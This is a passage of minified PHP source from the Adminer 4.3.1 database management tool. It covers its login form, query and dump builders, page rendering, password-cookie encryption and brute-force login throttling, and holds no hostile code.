@@max_connections");}$x="sql";$Rh=array();$Yg=array();foreach(array(lang(25)=>array("tinyint"=>3,"smallint"=>5,"mediumint"=>8,"int"=>10,"bigint"=>20,"decimal"=>66,"float"=>12,"double"=>21),lang(26)=>array("date"=>10,"datetime"=>19,"timestamp"=>19,"time"=>10,"year"=>4),lang(23)=>array("char"=>255,"varchar"=>65535,"tinytext"=>255,"text"=>65535,"mediumtext"=>16777215,"longtext"=>4294967295),lang(30)=>array("enum"=>65535,"set"=>64),lang(27)=>array("bit"=>20,"binary"=>255,"varbinary"=>65535,"tinyblob"=>255,"blob"=>65535,"mediumblob"=>16777215,"longblob"=>4294967295),lang(29)=>array("geometry"=>0,"point"=>0,"linestring"=>0,"polygon"=>0,"multipoint"=>0,"multilinestring"=>0,"multipolygon"=>0,"geometrycollection"=>0),)as$y=>$X){$Rh+=$X;$Yg[$y]=array_keys($X);}$Yh=array("unsigned","zerofill","unsigned zerofill");$Ye=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","REGEXP","IN","IS NULL","NOT LIKE","NOT REGEXP","NOT IN","IS NOT NULL","SQL");$Zc=array("char_length","date","from_unixtime","lower","round","sec_to_time","time_to_sec","upper");$ed=array("avg","count","count distinct","group_concat","max","min","sum");$gc=array(array("char"=>"md5/sha1/password/encrypt/uuid","binary"=>"md5/sha1","date|time"=>"now",),array("(^|[^o])int|float|double|decimal"=>"+/-","date"=>"+ interval/- interval","time"=>"addtime/subtime","char|text"=>"concat",));}define("SERVER",$_GET[DRIVER]);define("DB",$_GET["db"]);define("ME",preg_replace('~^[^?]*/([^?]*).*~','\\1',$_SERVER["REQUEST_URI"]).'?'.(sid()?SID.'&':'').(SERVER!==null?DRIVER."=".urlencode(SERVER).'&':'').(isset($_GET["username"])?"username=".urlencode($_GET["username"]).'&':'').(DB!=""?'db='.urlencode(DB).'&'.(isset($_GET["ns"])?"ns=".urlencode($_GET["ns"])."&":""):''));$ia="4.3.1";class Adminer{var$operators;function name(){return"<a href='https://www.adminer.org/' target='_blank' id='h1'>Adminer</a>";}function credentials(){return array(SERVER,$_GET["username"],get_password());}function permanentLogin($i=false){return password_file($i);}function bruteForceKey(){return$_SERVER["REMOTE_ADDR"];}function database(){return DB;}function databases($Qc=true){return get_databases($Qc);}function schemas(){return schemas();}function queryTimeout(){return 5;}function headers(){return true;}function head(){return true;}function loginForm(){global$Yb;echo'<table cellspacing="0"> <tr><th>',lang(31),'<td>',html_select("auth[driver]",$Yb,DRIVER),'<tr><th>',lang(32),'<td><input name="auth[server]" value="',h(SERVER),'" title="hostname[:port]" placeholder="localhost" autocapitalize="off"> <tr><th>',lang(33),'<td><input name="auth[username]" id="username" value="',h($_GET["username"]),'" autocapitalize="off"> <tr><th>',lang(34),'<td><input type="password" name="auth[password]"> <tr><th>',lang(35),'<td><input name="auth[db]" value="',h($_GET["db"]),'" autocapitalize="off"> </table> <script type="text/javascript"> focus(document.getElementById(\'username\')); </script> ',"<p><input type='submit' value='".lang(36)."'>\n",checkbox("auth[permanent]",1,$_COOKIE["adminer_permanent"],lang(37))."\n";}function login($fe,$G){global$x;if($x=="sqlite")return lang(38,'<code>login()</code>');return true;}function tableName($fh){return h($fh["Name"]);}function fieldName($o,$df=0){return'<span title="'.h($o["full_type"]).'">'.h($o["field"]).'</span>';}function selectLinks($fh,$O=""){echo'<p class="links">';$ee=array("select"=>lang(39));if(support("table")||support("indexes"))$ee["table"]=lang(40);if(support("table")){if(is_view($fh))$ee["view"]=lang(41);else$ee["create"]=lang(42);}if($O!==null)$ee["edit"]=lang(43);foreach($ee as$y=>$X)echo" <a href='".h(ME)."$y=".urlencode($fh["Name"]).($y=="edit"?$O:"")."'".bold(isset($_GET[$y])).">$X</a>";echo"\n";}function foreignKeys($R){return foreign_keys($R);}function backwardKeys($R,$eh){return array();}function backwardKeysPrint($Oa,$K){}function selectQuery($H,$vh){global$x;return"<p><code class='jush-$x'>".h(str_replace("\n"," ",$H))."</code> <span class='time'>($vh)</span>".(support("sql")?" <a href='".h(ME)."sql=".urlencode($H)."'>".lang(10)."</a>":"")."</p>";}function sqlCommandQuery($H){return shorten_utf8(trim($H),1000);}function rowDescription($R){return"";}function rowDescriptions($L,$Sc){return$L;}function selectLink($X,$o){}function selectVal($X,$_,$o,$lf){$J=($X===null?"<i>NULL</i>":(preg_match("~char|binary~",$o["type"])&&!preg_match("~var~",$o["type"])?"<code>$X</code>":$X));if(preg_match('~blob|bytea|raw|file~',$o["type"])&&!is_utf8($X))$J="<i>".lang(44,strlen($lf))."</i>";if(preg_match('~json~',$o["type"]))$J="<code class='jush-js'>$J</code>";return($_?"<a href='".h($_)."'".(is_url($_)?" rel='noreferrer'":"").">$J</a>":$J);}function editVal($X,$o){return$X;}function tableStructurePrint($p){echo"<table cellspacing='0'>\n","<thead><tr><th>".lang(45)."<td>".lang(46).(support("comment")?"<td>".lang(47):"")."</thead>\n";foreach($p as$o){echo"<tr".odd()."><th>".h($o["field"]),"<td><span title='".h($o["collation"])."'>".h($o["full_type"])."</span>",($o["null"]?" <i>NULL</i>":""),($o["auto_increment"]?" <i>".lang(48)."</i>":""),(isset($o["default"])?" <span title='".lang(49)."'>[<b>".h($o["default"])."</b>]</span>":""),(support("comment")?"<td>".nbsp($o["comment"]):""),"\n";}echo"</table>\n";}function tableIndexesPrint($w){echo"<table cellspacing='0'>\n";foreach($w as$C=>$v){ksort($v["columns"]);$Mf=array();foreach($v["columns"]as$y=>$X)$Mf[]="<i>".h($X)."</i>".($v["lengths"][$y]?"(".$v["lengths"][$y].")":"").($v["descs"][$y]?" DESC":"");echo"<tr title='".h($C)."'><th>$v[type]<td>".implode(", ",$Mf)."\n";}echo"</table>\n";}function selectColumnsPrint($M,$e){global$Zc,$ed;print_fieldset("select",lang(50),$M);$s=0;$M[""]=array();foreach($M as$y=>$X){$X=$_GET["columns"][$y];$d=select_input(" name='columns[$s][col]' onchange='".($y!==""?"selectFieldChange(this.form)":"selectAddRow(this)").";'",$e,$X["col"]);echo"<div>".($Zc||$ed?"<select name='columns[$s][fun]' onchange='helpClose();".($y!==""?"":" this.nextSibling.nextSibling.onchange();")."'".on_help("getTarget(event).value && getTarget(event).value.replace(/ |\$/, '(') + ')'",1).">".optionlist(array(-1=>"")+array_filter(array(lang(51)=>$Zc,lang(52)=>$ed)),$X["fun"])."</select>"."($d)":$d)."</div>\n";$s++;}echo"</div></fieldset>\n";}function selectSearchPrint($Z,$e,$w){print_fieldset("search",lang(53),$Z);foreach($w as$s=>$v){if($v["type"]=="FULLTEXT"){echo"(<i>".implode("</i>, <i>",array_map('h',$v["columns"]))."</i>) AGAINST"," <input type='search' name='fulltext[$s]' value='".h($_GET["fulltext"][$s])."' onchange='selectFieldChange(this.form);'>",checkbox("boolean[$s]",1,isset($_GET["boolean"][$s]),"BOOL"),"<br>\n";}}$_GET["where"]=(array)$_GET["where"];reset($_GET["where"]);$Za="this.nextSibling.onchange();";for($s=0;$s<=count($_GET["where"]);$s++){list(,$X)=each($_GET["where"]);if(!$X||("$X[col]$X[val]"!=""&&in_array($X["op"],$this->operators))){echo"<div>".select_input(" name='where[$s][col]' onchange='$Za'",$e,$X["col"],"(".lang(54).")"),html_select("where[$s][op]",$this->operators,$X["op"],$Za),"<input type='search' name='where[$s][val]' value='".h($X["val"])."' onchange='".($X?"selectFieldChange(this.form)":"selectAddRow(this)").";' onkeydown='selectSearchKeydown(this, event);' onsearch='selectSearchSearch(this);'></div>\n";}}echo"</div></fieldset>\n";}function selectOrderPrint($df,$e,$w){print_fieldset("sort",lang(55),$df);$s=0;foreach((array)$_GET["order"]as$y=>$X){if($X!=""){echo"<div>".select_input(" name='order[$s]' onchange='selectFieldChange(this.form);'",$e,$X),checkbox("desc[$s]",1,isset($_GET["desc"][$y]),lang(56))."</div>\n";$s++;}}echo"<div>".select_input(" name='order[$s]' onchange='selectAddRow(this);'",$e),checkbox("desc[$s]",1,false,lang(56))."</div>\n","</div></fieldset>\n";}function selectLimitPrint($z){echo"<fieldset><legend>".lang(57)."</legend><div>";echo"<input type='number' name='limit' class='size' value='".h($z)."' onchange='selectFieldChange(this.form);'>","</div></fieldset>\n";}function selectLengthPrint($uh){if($uh!==null){echo"<fieldset><legend>".lang(58)."</legend><div>","<input type='number' name='text_length' class='size' value='".h($uh)."'>","</div></fieldset>\n";}}function selectActionPrint($w){echo"<fieldset><legend>".lang(59)."</legend><div>","<input type='submit' value='".lang(50)."'>"," <span id='noindex' title='".lang(60)."'></span>","<script type='text/javascript'>\n","var indexColumns = ";$e=array();foreach($w as$v){$Fb=reset($v["columns"]);if($v["type"]!="FULLTEXT"&&$Fb)$e[$Fb]=1;}$e[""]=1;foreach($e as$y=>$X)json_row($y);echo";\n","selectFieldChange(document.getElementById('form'));\n","</script>\n","</div></fieldset>\n";}function selectCommandPrint(){return!information_schema(DB);}function selectImportPrint(){return!information_schema(DB);}function selectEmailPrint($lc,$e){}function selectColumnsProcess($e,$w){global$Zc,$ed;$M=array();$cd=array();foreach((array)$_GET["columns"]as$y=>$X){if($X["fun"]=="count"||($X["col"]!=""&&(!$X["fun"]||in_array($X["fun"],$Zc)||in_array($X["fun"],$ed)))){$M[$y]=apply_sql_function($X["fun"],($X["col"]!=""?idf_escape($X["col"]):"*"));if(!in_array($X["fun"],$ed))$cd[]=$M[$y];}}return array($M,$cd);}function selectSearchProcess($p,$w){global$g,$x;$J=array();foreach($w as$s=>$v){if($v["type"]=="FULLTEXT"&&$_GET["fulltext"][$s]!="")$J[]="MATCH (".implode(", ",array_map('idf_escape',$v["columns"])).") AGAINST (".q($_GET["fulltext"][$s]).(isset($_GET["boolean"][$s])?" IN BOOLEAN MODE":"").")";}foreach((array)$_GET["where"]as$X){if("$X[col]$X[val]"!=""&&in_array($X["op"],$this->operators)){$ub=" $X[op]";if(preg_match('~IN$~',$X["op"])){$rd=process_length($X["val"]);$ub.=" ".($rd!=""?$rd:"(NULL)");}elseif($X["op"]=="SQL")$ub=" $X[val]";elseif($X["op"]=="LIKE %%")$ub=" LIKE ".$this->processInput($p[$X["col"]],"%$X[val]%");elseif($X["op"]=="ILIKE %%")$ub=" ILIKE ".$this->processInput($p[$X["col"]],"%$X[val]%");elseif(!preg_match('~NULL$~',$X["op"]))$ub.=" ".$this->processInput($p[$X["col"]],$X["val"]);if($X["col"]!="")$J[]=idf_escape($X["col"]).$ub;else{$pb=array();foreach($p as$C=>$o){$Gd=preg_match('~char|text|enum|set~',$o["type"]);if((is_numeric($X["val"])||!preg_match('~(^|[^o])int|float|double|decimal|bit~',$o["type"]))&&(!preg_match("~[\x80-\xFF]~",$X["val"])||$Gd)){$C=idf_escape($C);$pb[]=($x=="sql"&&$Gd&&!preg_match("~^utf8_~",$o["collation"])?"CONVERT($C USING ".charset($g).")":$C);}}$J[]=($pb?"(".implode("$ub OR ",$pb)."$ub)":"0");}}}return$J;}function selectOrderProcess($p,$w){$J=array();foreach((array)$_GET["order"]as$y=>$X){if($X!="")$J[]=(preg_match('~^((COUNT\\(DISTINCT |[A-Z0-9_]+\\()(`(?:[^`]|``)+`|"(?:[^"]|"")+")\\)|COUNT\\(\\*\\))$~',$X)?$X:idf_escape($X)).(isset($_GET["desc"][$y])?" DESC":"");}return$J;}function selectLimitProcess(){return(isset($_GET["limit"])?$_GET["limit"]:"50");}function selectLengthProcess(){return(isset($_GET["text_length"])?$_GET["text_length"]:"100");}function selectEmailProcess($Z,$Sc){return false;}function selectQueryBuild($M,$Z,$cd,$df,$z,$E){return"";}function messageQuery($H,$vh){global$x;restart_session();$jd=&get_session("queries");$t="sql-".count($jd[$_GET["db"]]);if(strlen($H)>1e6)$H=preg_replace('~[\x80-\xFF]+$~','',substr($H,0,1e6))."\n...";$jd[$_GET["db"]][]=array($H,time(),$vh);return" <span class='time'>".@date("H:i:s")."</span> <a href='#$t' onclick=\"return !toggle('$t');\">".lang(61)."</a>"."<div id='$t' class='hidden'><pre><code class='jush-$x'>".shorten_utf8($H,1000).'</code></pre>'.($vh?" <span class='time'>($vh)</span>":'').(support("sql")?'<p><a href="'.h(str_replace("db=".urlencode(DB),"db=".urlencode($_GET["db"]),ME).'sql=&history='.(count($jd[$_GET["db"]])-1)).'">'.lang(10).'</a>':'').'</div>';}function editFunctions($o){global$gc;$J=($o["null"]?"NULL/":"");foreach($gc as$y=>$Zc){if(!$y||(!isset($_GET["call"])&&(isset($_GET["select"])||where($_GET)))){foreach($Zc as$Af=>$X){if(!$Af||preg_match("~$Af~",$o["type"]))$J.="/$X";}if($y&&!preg_match('~set|blob|bytea|raw|file~',$o["type"]))$J.="/SQL";}}if($o["auto_increment"]&&!isset($_GET["select"])&&!where($_GET))$J=lang(48);return explode("/",$J);}function editInput($R,$o,$Ja,$Y){if($o["type"]=="enum")return(isset($_GET["select"])?"<label><input type='radio'$Ja value='-1' checked><i>".lang(8)."</i></label> ":"").($o["null"]?"<label><input type='radio'$Ja value=''".($Y!==null||isset($_GET["select"])?"":" checked")."><i>NULL</i></label> ":"").enum_input("radio",$Ja,$o,$Y,0);return"";}function processInput($o,$Y,$r=""){if($r=="SQL")return$Y;$C=$o["field"];$J=q($Y);if(preg_match('~^(now|getdate|uuid)$~',$r))$J="$r()";elseif(preg_match('~^current_(date|timestamp)$~',$r))$J=$r;elseif(preg_match('~^([+-]|\\|\\|)$~',$r))$J=idf_escape($C)." $r $J";elseif(preg_match('~^[+-] interval$~',$r))$J=idf_escape($C)." $r ".(preg_match("~^(\\d+|'[0-9.: -]') [A-Z_]+$~i",$Y)?$Y:$J);elseif(preg_match('~^(addtime|subtime|concat)$~',$r))$J="$r(".idf_escape($C).", $J)";elseif(preg_match('~^(md5|sha1|password|encrypt)$~',$r))$J="$r($J)";return unconvert_field($o,$J);}function dumpOutput(){$J=array('text'=>lang(62),'file'=>lang(63));if(function_exists('gzencode'))$J['gz']='gzip';return$J;}function dumpFormat(){return array('sql'=>'SQL','csv'=>'CSV,','csv;'=>'CSV;','tsv'=>'TSV');}function dumpDatabase($m){}function dumpTable($R,$Zg,$Hd=0){if($_POST["format"]!="sql"){echo"\xef\xbb\xbf";if($Zg)dump_csv(array_keys(fields($R)));}else{if($Hd==2){$p=array();foreach(fields($R)as$C=>$o)$p[]=idf_escape($C)." $o[full_type]";$i="CREATE TABLE ".table($R)." (".implode(", ",$p).")";}else$i=create_sql($R,$_POST["auto_increment"]);set_utf8mb4($i);if($Zg&&$i){if($Zg=="DROP+CREATE"||$Hd==1)echo"DROP ".($Hd==2?"VIEW":"TABLE")." IF EXISTS ".table($R).";\n";if($Hd==1)$i=remove_definer($i);echo"$i;\n\n";}}}function dumpData($R,$Zg,$H){global$g,$x;$me=($x=="sqlite"?0:1048576);if($Zg){if($_POST["format"]=="sql"){if($Zg=="TRUNCATE+INSERT")echo truncate_sql($R).";\n";$p=fields($R);}$I=$g->query($H,1);if($I){$_d="";$Xa="";$Od=array();$bh="";$Hc=($R!=''?'fetch_assoc':'fetch_row');while($K=$I->$Hc()){if(!$Od){$ji=array();foreach($K as$X){$o=$I->fetch_field();$Od[]=$o->name;$y=idf_escape($o->name);$ji[]="$y = VALUES($y)";}$bh=($Zg=="INSERT+UPDATE"?"\nON DUPLICATE KEY UPDATE ".implode(", ",$ji):"").";\n";}if($_POST["format"]!="sql"){if($Zg=="table"){dump_csv($Od);$Zg="INSERT";}dump_csv($K);}else{if(!$_d)$_d="INSERT INTO ".table($R)." (".implode(", ",array_map('idf_escape',$Od)).") VALUES";foreach($K as$y=>$X){$o=$p[$y];$K[$y]=($X!==null?unconvert_field($o,preg_match('~(^|[^o])int|float|double|decimal~',$o["type"])&&$X!=''?$X:q($X)):"NULL");}$vg=($me?"\n":" ")."(".implode(",\t",$K).")";if(!$Xa)$Xa=$_d.$vg;elseif(strlen($Xa)+4+strlen($vg)+strlen($bh)<$me)$Xa.=",$vg";else{echo$Xa.$bh;$Xa=$_d.$vg;}}}if($Xa)echo$Xa.$bh;}elseif($_POST["format"]=="sql")echo"-- ".str_replace("\n"," ",$g->error)."\n";}}function dumpFilename($od){return friendly_url($od!=""?$od:(SERVER!=""?SERVER:"localhost"));}function dumpHeaders($od,$Ae=false){$of=$_POST["output"];$Bc=(preg_match('~sql~',$_POST["format"])?"sql":($Ae?"tar":"csv"));header("Content-Type: ".($of=="gz"?"application/x-gzip":($Bc=="tar"?"application/x-tar":($Bc=="sql"||$of!="file"?"text/plain":"text/csv")."; charset=utf-8")));if($of=="gz")ob_start('ob_gzencode',1e6);return$Bc;}function homepage(){echo'<p class="links">'.($_GET["ns"]==""&&support("database")?'<a href="'.h(ME).'database=">'.lang(64)."</a>\n":""),(support("scheme")?"<a href='".h(ME)."scheme='>".($_GET["ns"]!=""?lang(65):lang(66))."</a>\n":""),($_GET["ns"]!==""?'<a href="'.h(ME).'schema=">'.lang(67)."</a>\n":""),(support("privileges")?"<a href='".h(ME)."privileges='>".lang(68)."</a>\n":"");return true;}function navigation($_e){global$ia,$x,$Yb,$g;echo'<h1> ',$this->name(),' <span class="version">',$ia,'</span> <a href="https://www.adminer.org/#download" target="_blank" id="version">',(version_compare($ia,$_COOKIE["adminer_version"])<0?h($_COOKIE["adminer_version"]):""),'</a> </h1> ';if($_e=="auth"){$Mc=true;foreach((array)$_SESSION["pwds"]as$li=>$Ig){foreach($Ig as$N=>$gi){foreach($gi as$V=>$G){if($G!==null){if($Mc){echo"<p id='logins' onmouseover='menuOver(this, event);' onmouseout='menuOut(this);'>\n";$Mc=false;}$Kb=$_SESSION["db"][$li][$N][$V];foreach(($Kb?array_keys($Kb):array(""))as$m)echo"<a href='".h(auth_url($li,$N,$V,$m))."'>($Yb[$li]) ".h($V.($N!=""?"@$N":"").($m!=""?" - $m":""))."</a><br>\n";}}}}}else{if($_GET["ns"]!==""&&!$_e&&DB!=""){$g->select_db(DB);$T=table_status('',true);}echo'<script type="text/javascript" src="',h(preg_replace("~\\?.*~","",ME))."?file=jush.js&version=4.3.1",'"></script> ';if(support("sql")){echo'<script type="text/javascript"> ';if($T){$ee=array();foreach($T as$R=>$U)$ee[]=preg_quote($R,'/');echo"var jushLinks = { $x: [ '".js_escape(ME).(support("table")?"table=":"select=")."\$&', /\\b(".implode("|",$ee).")\\b/g ] };\n";foreach(array("bac","bra","sqlite_quo","mssql_bra")as$X)echo"jushLinks.$X = jushLinks.$x;\n";}echo'bodyLoad(\'',(is_object($g)?substr($g->server_info,0,3):""),'\'); </script> ';}$this->databasesPrint($_e);if(DB==""||!$_e){echo"<p class='links'>".(support("sql")?"<a href='".h(ME)."sql='".bold(isset($_GET["sql"])&&!isset($_GET["import"])).">".lang(61)."</a>\n<a href='".h(ME)."import='".bold(isset($_GET["import"])).">".lang(69)."</a>\n":"")."";if(support("dump"))echo"<a href='".h(ME)."dump=".urlencode(isset($_GET["table"])?$_GET["table"]:$_GET["select"])."' id='dump'".bold(isset($_GET["dump"])).">".lang(70)."</a>\n";}if($_GET["ns"]!==""&&!$_e&&DB!=""){echo'<a href="'.h(ME).'create="'.bold($_GET["create"]==="").">".lang(71)."</a>\n";if(!$T)echo"<p class='message'>".lang(9)."\n";else$this->tablesPrint($T);}}}function databasesPrint($_e){global$b,$g;$l=$this->databases();echo'<form action=""> <p id="dbs"> ';hidden_fields_get();$Ib=" onmousedown='dbMouseDown(event, this);' onchange='dbChange(this);'";echo"<span title='".lang(72)."'>DB</span>: ".($l?"<select name='db'$Ib>".optionlist(array(""=>"")+$l,DB)."</select>":'<input name="db" value="'.h(DB).'" autocapitalize="off">'),"<input type='submit' value='".lang(20)."'".($l?" class='hidden'":"").">\n";if($_e!="db"&&DB!=""&&$g->select_db(DB)){if(support("scheme")){echo"<br>".lang(73).": <select name='ns'$Ib>".optionlist(array(""=>"")+$b->schemas(),$_GET["ns"])."</select>";if($_GET["ns"]!="")set_schema($_GET["ns"]);}}echo(isset($_GET["sql"])?'<input type="hidden" name="sql" value="">':(isset($_GET["schema"])?'<input type="hidden" name="schema" value="">':(isset($_GET["dump"])?'<input type="hidden" name="dump" value="">':(isset($_GET["privileges"])?'<input type="hidden" name="privileges" value="">':"")))),"</p></form>\n";}function tablesPrint($T){echo"<ul id='tables' onmouseover='menuOver(this, event);' onmouseout='menuOut(this);'>\n";foreach($T as$R=>$P){echo'<li><a href="'.h(ME).'select='.urlencode($R).'"'.bold($_GET["select"]==$R||$_GET["edit"]==$R,"select").">".lang(74)."</a> ";$C=$this->tableName($P);echo(support("table")||support("indexes")?'<a href="'.h(ME).'table='.urlencode($R).'"'.bold(in_array($R,array($_GET["table"],$_GET["create"],$_GET["indexes"],$_GET["foreign"],$_GET["trigger"])),(is_view($P)?"view":"structure"))." title='".lang(40)."'>$C</a>":"<span>$C</span>")."\n";}echo"</ul>\n";}}$b=(function_exists('adminer_object')?adminer_object():new Adminer);if($b->operators===null)$b->operators=$Ye;function page_header($yh,$n="",$Wa=array(),$zh=""){global$ca,$ia,$b,$Yb,$x;page_headers();if(is_ajax()&&$n){page_messages($n);exit;}$_h=$yh.($zh!=""?": $zh":"");$Ah=strip_tags($_h.(SERVER!=""&&SERVER!="localhost"?h(" - ".SERVER):"")." - ".$b->name());echo'<!DOCTYPE html> <html lang="',$ca,'" dir="',lang(75),'"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta http-equiv="Content-Script-Type" content="text/javascript"> <meta name="robots" content="noindex"> <meta name="referrer" content="origin-when-crossorigin"> <title>',$Ah,'</title> <link rel="stylesheet" type="text/css" href="',h(preg_replace("~\\?.*~","",ME))."?file=default.css&version=4.3.1",'"> <script type="text/javascript" src="',h(preg_replace("~\\?.*~","",ME))."?file=functions.js&version=4.3.1",'"></script> ';if($b->head()){echo'<link rel="shortcut icon" type="image/x-icon" href="',h(preg_replace("~\\?.*~","",ME))."?file=favicon.ico&version=4.3.1",'"> <link rel="apple-touch-icon" href="',h(preg_replace("~\\?.*~","",ME))."?file=favicon.ico&version=4.3.1",'"> ';if(file_exists("adminer.css")){echo'<link rel="stylesheet" type="text/css" href="adminer.css"> ';}}echo' <body class="',lang(75),' nojs" onkeydown="bodyKeydown(event);" onclick="bodyClick(event);"',(isset($_COOKIE["adminer_version"])?"":" onload=\"verifyVersion('$ia');\"");?>> <script type="text/javascript"> document.body.className = document.body.className.replace(/ nojs/, ' js'); var offlineMessage = '<?php echo js_escape(lang(76)),'\'; </script> <div id="help" class="jush-',$x,' jsonly hidden" onmouseover="helpOpen = 1;" onmouseout="helpMouseout(this, event);"></div> <div id="content"> ';if($Wa!==null){$_=substr(preg_replace('~\b(username|db|ns)=[^&]*&~','',ME),0,-1);echo'<p id="breadcrumb"><a href="'.h($_?$_:".").'">'.$Yb[DRIVER].'</a> » ';$_=substr(preg_replace('~\b(db|ns)=[^&]*&~','',ME),0,-1);$N=(SERVER!=""?h(SERVER):lang(32));if($Wa===false)echo"$N\n";else{echo"<a href='".($_?h($_):".")."' accesskey='1' title='Alt+Shift+1'>$N</a> » ";if($_GET["ns"]!=""||(DB!=""&&is_array($Wa)))echo'<a href="'.h($_."&db=".urlencode(DB).(support("scheme")?"&ns=":"")).'">'.h(DB).'</a> » ';if(is_array($Wa)){if($_GET["ns"]!="")echo'<a href="'.h(substr(ME,0,-1)).'">'.h($_GET["ns"]).'</a> » ';foreach($Wa as$y=>$X){$Pb=(is_array($X)?$X[1]:h($X));if($Pb!="")echo"<a href='".h(ME."$y=").urlencode(is_array($X)?$X[0]:$X)."'>$Pb</a> » ";}}echo"$yh\n";}}echo"<h2>$_h</h2>\n","<div id='ajaxstatus' class='jsonly hidden'></div>\n";restart_session();page_messages($n);$l=&get_session("dbs");if(DB!=""&&$l&&!in_array(DB,$l,true))$l=null;stop_session();define("PAGE_HEADER",1);}function page_headers(){global$b;header("Content-Type: text/html; charset=utf-8");header("Cache-Control: no-cache");if($b->headers()){header("X-Frame-Options: deny");header("X-XSS-Protection: 0");}}function page_messages($n){$ai=preg_replace('~^[^?]*~','',$_SERVER["REQUEST_URI"]);$we=$_SESSION["messages"][$ai];if($we){echo"<div class='message'>".implode("</div>\n<div class='message'>",$we)."</div>\n";unset($_SESSION["messages"][$ai]);}if($n)echo"<div class='error'>$n</div>\n";}function page_footer($_e=""){global$b,$Dh;echo'</div> ';switch_lang();if($_e!="auth"){echo'<form action="" method="post"> <p class="logout"> <input type="submit" name="logout" value="',lang(77),'" id="logout"> <input type="hidden" name="token" value="',$Dh,'"> </p> </form> ';}echo'<div id="menu"> ';$b->navigation($_e);echo'</div> <script type="text/javascript">setupSubmitHighlight(document);</script> ';}function int32($Ce){while($Ce>=2147483648)$Ce-=4294967296;while($Ce<=-2147483649)$Ce+=4294967296;return(int)$Ce;}function long2str($W,$qi){$vg='';foreach($W as$X)$vg.=pack('V',$X);if($qi)return substr($vg,0,end($W));return$vg;}function str2long($vg,$qi){$W=array_values(unpack('V*',str_pad($vg,4*ceil(strlen($vg)/4),"\0")));if($qi)$W[]=strlen($vg);return$W;}function xxtea_mx($wi,$vi,$ch,$Kd){return int32((($wi>>5&0x7FFFFFF)^$vi<<2)+(($vi>>3&0x1FFFFFFF)^$wi<<4))^int32(($ch^$vi)+($Kd^$wi));}function encrypt_string($Xg,$y){if($Xg=="")return"";$y=array_values(unpack("V*",pack("H*",md5($y))));$W=str2long($Xg,true);$Ce=count($W)-1;$wi=$W[$Ce];$vi=$W[0];$Tf=floor(6+52/($Ce+1));$ch=0;while($Tf-->0){$ch=int32($ch+0x9E3779B9);$fc=$ch>>2&3;for($pf=0;$pf<$Ce;$pf++){$vi=$W[$pf+1];$Be=xxtea_mx($wi,$vi,$ch,$y[$pf&3^$fc]);$wi=int32($W[$pf]+$Be);$W[$pf]=$wi;}$vi=$W[0];$Be=xxtea_mx($wi,$vi,$ch,$y[$pf&3^$fc]);$wi=int32($W[$Ce]+$Be);$W[$Ce]=$wi;}return long2str($W,false);}function decrypt_string($Xg,$y){if($Xg=="")return"";if(!$y)return false;$y=array_values(unpack("V*",pack("H*",md5($y))));$W=str2long($Xg,false);$Ce=count($W)-1;$wi=$W[$Ce];$vi=$W[0];$Tf=floor(6+52/($Ce+1));$ch=int32($Tf*0x9E3779B9);while($ch){$fc=$ch>>2&3;for($pf=$Ce;$pf>0;$pf--){$wi=$W[$pf-1];$Be=xxtea_mx($wi,$vi,$ch,$y[$pf&3^$fc]);$vi=int32($W[$pf]-$Be);$W[$pf]=$vi;}$wi=$W[$Ce];$Be=xxtea_mx($wi,$vi,$ch,$y[$pf&3^$fc]);$vi=int32($W[0]-$Be);$W[0]=$vi;$ch=int32($ch-0x9E3779B9);}return long2str($W,true);}$g='';$id=$_SESSION["token"];if(!$id)$_SESSION["token"]=rand(1,1e6);$Dh=get_token();$Bf=array();if($_COOKIE["adminer_permanent"]){foreach(explode(" ",$_COOKIE["adminer_permanent"])as$X){list($y)=explode(":",$X);$Bf[$y]=$X;}}function add_invalid_login(){global$b;$Kc=get_temp_dir()."/adminer.invalid";$Xc=@fopen($Kc,"r+");if(!$Xc){$Xc=@fopen($Kc,"w");if(!$Xc)return;}flock($Xc,LOCK_EX);$Cd=unserialize(stream_get_contents($Xc));$vh=time();if($Cd){foreach($Cd as$Dd=>$X){if($X[0]<$vh)unset($Cd[$Dd]);}}$Bd=&$Cd[$b->bruteForceKey()];if(!$Bd)$Bd=array($vh+30*60,0);$Bd[1]++;$Gg=serialize($Cd);rewind($Xc);fwrite($Xc,$Gg);ftruncate($Xc,strlen($Gg));flock($Xc,LOCK_UN);fclose($Xc);}$Ka=$_POST["auth"];if($Ka){$Cd=unserialize(@file_get_contents(get_temp_dir()."/adminer.invalid"));$Bd=$Cd[$b->bruteForceKey()];$Ie=($Bd[1]>30?$Bd[0]-time():0);if($Ie>0)auth_error(lang(78,ceil($Ie/60)));session_regenerate_id();$li=$Ka["driver"];$N=$Ka["server"];$V=$Ka["username"];$G=(string)$Ka["password"];$m=$Ka["db"];set_password($li,$N,$V,$G);$_SESSION["db"][$li][$N][$V][$m]=true;if($Ka["permanent"]){$y=base64_encode($li)."-".base64_encode($N)."-".base64_encode($V)."-".base64_encode($m);$Nf=$b->permanentLogin(true);$Bf[$y]="$y:".base64_encode($Nf?encrypt_string($G,$Nf):"");cookie("adminer_permanent",implode(" ",$Bf));}if(count($_POST)==1||DRIVER!=$li||SERVER!=$N||$_GET["username"]!==$V||DB!=$m)redirect(auth_url($li,$N,$V,$m));}elseif($_POST["logout"]){if($id&&!verify_token()){page_header(lang(77),lang(79));page_footer("db");exit;}else{foreach(array("pwds","db","dbs","queries")as$y)set_session($y,null);unset_permanent();redirect(substr(preg_replace('~\b(username|db|ns)=[^&]*&~','',ME),0,-1),lang(80));}}elseif($Bf&&!$_SESSION["pwds"]){session_regenerate_id();$Nf=$b->permanentLogin();foreach($Bf as$y=>$X){list(,$hb)=explode(":",$X);list($li,$N,$V,$m)=array_map('base64_decode',explode("-",$y));set_password($li,$N,$V,decrypt_string(base64_decode($hb),$Nf));$_SESSION["db"][$li][$N][$V][$m]=true;}}function unset_permanent(){global$Bf;foreach($Bf as$y=>$X){list($li,$N,$V,$m)=array_map('base64_decode',explode("-",$y));if($li==DRIVER&&$N==SERVER&&$V==$_GET["username"]&&$m==DB)unset($Bf[$y]);}cookie("adminer_permanent",implode(" ",$Bf));}function auth_error($n){global$b,$id;$Jg=session_name();if(isset($_GET["username"])){header("HTTP/1.1 403 